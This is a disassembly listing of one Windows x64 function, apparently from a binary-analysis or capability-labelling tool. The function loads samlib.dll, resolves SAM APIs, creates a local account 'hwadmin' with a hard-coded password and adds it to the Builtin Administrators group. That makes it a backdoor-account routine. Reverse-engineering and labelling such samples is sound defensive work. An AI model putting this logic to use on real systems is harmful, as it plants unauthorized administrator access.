Function at 0x140001000
Capabilities:
Link many functions at runtime

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x298
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x290], rax
lea rcx, str.c:windows_system32_ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, 1
test rax, rax
je 0x140001758
mov rsi, rax
lea rcx, str.c:windows_system32_samlib.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
je 0x140001758
mov rdi, rax
mov qword [rsp + 0x38], rsi
lea rdx, str.SamConnect
mov r14, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call r14
mov qword [rsp + 0x40], rax
lea rdx, str.SamEnumerateDomainsInSamServer
mov rcx, rdi
call r14
mov qword [rsp + 0x60], rax
lea rdx, str.SamLookupDomainInSamServer
mov rcx, rdi
call r14
mov r12, rax
lea rdx, str.SamOpenDomain
mov rcx, rdi
call r14
mov qword [rsp + 0x58], rax
lea rdx, str.SamCreateUser2InDomain
mov rcx, rdi
call r14
mov qword [rsp + 0x50], rax
lea rdx, str.SamSetInformationUser
mov rcx, rdi
call r14
mov qword [rsp + 0x48], rax
lea rdx, str.SamLookupNamesInDomain
mov rcx, rdi
call r14
mov rbx, rax
lea rdx, str.SamOpenAlias
mov rcx, rdi
call r14
mov r15, rax
lea rdx, str.SamRidToSid
mov rcx, rdi
call r14
mov rsi, rax
lea rdx, str.SamAddMemberToAlias
mov rcx, rdi
call r14
mov rbp, rax
lea rdx, str.SamCloseHandle
mov rcx, rdi
call r14
mov r13, rax
lea rdx, str.SamFreeMemory
mov rcx, rdi
call r14
mov qword [rsp + 0x98], rbx
movq xmm1, rbx
mov qword [rsp + 0x90], r15
movq xmm0, r15
mov r15, qword [rsp + 0x40]
punpcklqdq xmm1, xmm0
movq xmm2, qword [rsp + 0x50]
movq xmm0, qword [rsp + 0x48]
punpcklqdq xmm2, xmm0
movq xmm3, r12
movq xmm0, qword [rsp + 0x58]
punpcklqdq xmm3, xmm0
movq xmm0, r15
movq xmm4, qword [rsp + 0x60]
punpcklqdq xmm4, xmm0
pxor xmm0, xmm0
pcmpeqd xmm4, xmm0
pshufd xmm5, xmm4, 0xb1
pand xmm5, xmm4
pcmpeqd xmm3, xmm0
pshufd xmm4, xmm3, 0xb1
pand xmm4, xmm3
packssdw xmm5, xmm4
pcmpeqd xmm2, xmm0
pshufd xmm3, xmm2, 0xb1
pand xmm3, xmm2
pcmpeqd xmm1, xmm0
pshufd xmm2, xmm1, 0xb1
pand xmm2, xmm1
packssdw xmm3, xmm2
packssdw xmm5, xmm3
pmovmskb ecx, xmm5
test ecx, 0xaaaa
jne 0x140001489
mov rdx, rbp
movq xmm1, r13
movq xmm2, rax
punpcklqdq xmm1, xmm2
movq xmm2, rsi
movq xmm3, rbp
punpcklqdq xmm2, xmm3
pcmpeqd xmm2, xmm0
pshufd xmm3, xmm2, 0xb1
pand xmm3, xmm2
pcmpeqd xmm1, xmm0
pshufd xmm0, xmm1, 0xb1
pand xmm0, xmm1
packssdw xmm3, xmm0
movmskps ecx, xmm3
test cl, cl
jne 0x140001489
mov rbp, rax
mov qword [rsp + 0x88], rsi
mov qword [rsp + 0x80], rdx
lea rdx, str.RtlInitUnicodeString
mov r14, qword [rsp + 0x38]
mov rcx, r14
mov rsi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rsi
mov rbx, rax
lea rdx, str.RtlEqualUnicodeString
mov rcx, r14
call rsi
mov rdi, rax
lea rdx, str.RtlCopyUnicodeString
mov rcx, r14
call rsi
test rbx, rbx
je 0x14000149d
test rdi, rdi
je 0x14000149d
test rax, rax
je 0x14000149d
lea rdx, str.localhost
lea rsi, [rsp + 0x280]
mov rcx, rsi
call rbx
lea rdx, str.P_ssw0rd_2024
lea rcx, [rsp + 0x270]
call rbx
lea rdx, str.hwadmin
lea rcx, [rsp + 0x260]
call rbx
lea rdx, str.Builtin
lea rcx, [rsp + 0x250]
call rbx
mov qword [rsp + 0x248], 0
mov qword [rsp + 0x240], 0
mov qword [rsp + 0x238], 0
mov qword [rsp + 0x228], 0
mov qword [rsp + 0x220], 0
mov qword [rsp + 0x218], 0
mov qword [rsp + 0x210], 0
mov dword [rsp + 0x20c], 0
mov dword [rsp + 0x208], 0
mov qword [rsp + 0x200], 0
mov qword [rsp + 0x1f8], 0
mov qword [rsp + 0x1f0], 0
lea rcx, [rsp + 0xb0]
mov r8d, 0x140
xor edx, edx
call fcn.140014e70
lea rdx, [rsp + 0x248]
mov rcx, rsi
mov r8d, 0x31
xor r9d, r9d
call r15
test eax, eax
js 0x140001727
mov qword [rsp + 0x78], rbx
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x68], rbp
lea r14, [rsp + 0x250]
lea rbx, str.___SamLookupDomainInSamServer_Account__n
lea rsi, [rsp + 0x220]
lea rbp, str.___SamLookupDomainInSamServer_Built__n
jmp 0x1400013ce
cmp dword [rsp + 0x40], 0x105
jne 0x1400014b1
mov rcx, qword [rsp + 0x248]
lea rax, [rsp + 0x208]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x20c]
lea r8, [rsp + 0x200]
mov r9d, 1
call qword [rsp + 0x60]
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x208], 0
je 0x1400013c0
mov r15d, 8
xor r13d, r13d
jmp 0x140001433
inc r13
mov eax, dword [rsp + 0x208]
add r15, 0x18
cmp r13, rax
jae 0x1400013c0
mov rcx, qword [rsp + 0x200]
add rcx, r15
mov rdx, r14
mov r8b, 1
call rdi
mov rdx, qword [rsp + 0x200]
add rdx, r15
mov rcx, qword [rsp + 0x248]
test al, al
je 0x140001470
mov r8, rsi
call r12
mov rcx, rbp
test eax, eax
jns 0x140001482
jmp 0x140001420
lea r8, [rsp + 0x228]
call r12
mov rcx, rbx
test eax, eax
js 0x140001420
call fcn.140001860
jmp 0x140001420
lea rcx, str.Failed_to_get_address_of_one_or_more_necessary_functions
call fcn.140006a68
mov rcx, rdi
jmp 0x14000174d
lea rcx, str.Failed_to_get_addresses_of_RtlInitUnicodeString__RtlEqualUnicodeString__or_RtlCopyUnicodeString
call fcn.140006a68
mov rcx, r14
jmp 0x14000174d
mov r8, qword [rsp + 0x228]
mov rcx, qword [rsp + 0x248]
lea r9, [rsp + 0x240]
mov edx, 0x210
mov rsi, qword [rsp + 0x58]
call rsi
test eax, eax
js 0x14000173a
mov rcx, qword [rsp + 0x240]
lea rax, [rsp + 0x230]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x234]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x238]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x260]
mov r8d, 0x10
mov r9d, 0xf07ff
call qword [rsp + 0x50]
test eax, eax
mov rdi, qword [rsp + 0x38]
js 0x14000177e
mov edx, dword [rsp + 0x230]
lea rcx, str.___SamCreateUser2InDomain_success._User_RID:__d_n
call fcn.140001860
mov byte [rsp + 0x1e9], 1
movabs rax, 0x110000000000010
mov qword [rsp + 0x1c8], rax
lea rcx, [rsp + 0x190]
lea rdx, [rsp + 0x270]
mov rbx, qword [rsp + 0x78]
call rbx
mov rcx, qword [rsp + 0x238]
lea r8, [rsp + 0xb0]
mov edx, 0x15
call qword [rsp + 0x48]
test eax, eax
js 0x140001787
lea rcx, str.___SamSetInformationUser_success._n
call fcn.140001860
mov r8, qword [rsp + 0x220]
mov rcx, qword [rsp + 0x248]
lea r9, [rsp + 0x240]
mov edx, 0x200
call rsi
test eax, eax
mov r14, qword [rsp + 0x70]
js 0x140001790
lea rdx, str.administrators
lea rsi, [rsp + 0xa0]
mov rcx, rsi
call rbx
mov rcx, qword [rsp + 0x240]
lea rax, [rsp + 0x210]
mov qword [rsp + 0x20], rax
mov ebx, 1
lea r9, [rsp + 0x1f8]
mov edx, 1
mov r8, rsi
call qword [rsp + 0x98]
test eax, eax
js 0x1400017a3
mov rax, qword [rsp + 0x1f8]
mov r8d, dword [rax]
mov rcx, qword [rsp + 0x240]
mov ebx, 1
lea r9, [rsp + 0x1f0]
mov edx, 1
call qword [rsp + 0x90]
test eax, eax
js 0x1400017ac
mov edx, dword [rsp + 0x230]
mov rcx, qword [rsp + 0x238]
lea r8, [rsp + 0x218]
call qword [rsp + 0x88]
test eax, eax
js 0x1400017b5
mov rdx, qword [rsp + 0x218]
mov rcx, qword [rsp + 0x1f0]
call qword [rsp + 0x80]
test eax, eax
js 0x1400017be
lea rcx, str.___SamAddMemberToAlias_success._n
call fcn.140001860
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rsp + 0x248]
test rcx, rcx
je 0x1400016b9
call r14
mov rcx, qword [rsp + 0x240]
test rcx, rcx
mov rsi, qword [rsp + 0x68]
je 0x1400016ce
call r14
mov rcx, qword [rsp + 0x238]
test rcx, rcx
je 0x1400016de
call r14
mov rcx, qword [rsp + 0x1f0]
test rcx, rcx
je 0x1400016ee
call r14
mov rcx, qword [rsp + 0x200]
test rcx, rcx
je 0x1400016fd
call rsi
mov rcx, qword [rsp + 0x1f8]
test rcx, rcx
je 0x140001710
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x218]
xor ebx, ebx
test rcx, rcx
je 0x140001758
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140001758
lea rcx, str.Failed_to_connect_to_the_SAM_server._Error:_0x_08X_n
mov edx, eax
call fcn.1400017e0
mov rcx, r14
jmp 0x14000174d
lea rcx, str.Failed_to_open_domain._Error:_0x_08X_n
mov edx, eax
call fcn.1400017e0
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ebx, 1
mov rcx, qword [rsp + 0x290]
xor rcx, rsp
call fcn.140001900
mov eax, ebx
add rsp, 0x298
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, str.Failed_to_create_user_in_domain._Error:_0x_08X_n
jmp 0x140001797
lea rcx, str.Failed_to_set_user_information._Error:_0x_08X_n
jmp 0x140001797
lea rcx, str.Failed_to_open_Builtin_domain._Error:_0x_08X_n
mov edx, eax
call fcn.1400017e0
jmp 0x140001495
lea rcx, str.Failed_to_lookup_Administrators_group_in_Builtin_domain._Error:_0x_08X_n
jmp 0x1400017c5
lea rcx, str.Failed_to_open_Administrators_group._Error:_0x_08X_n
jmp 0x1400017c5
lea rcx, str.Failed_to_convert_users_RID_to_SID._Error:_0x_08X_n
jmp 0x1400017c5
lea rcx, str.Failed_to_add_user_to_Administrators_group._Error:_0x_08X_n
mov edx, eax
call fcn.1400017e0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x140001758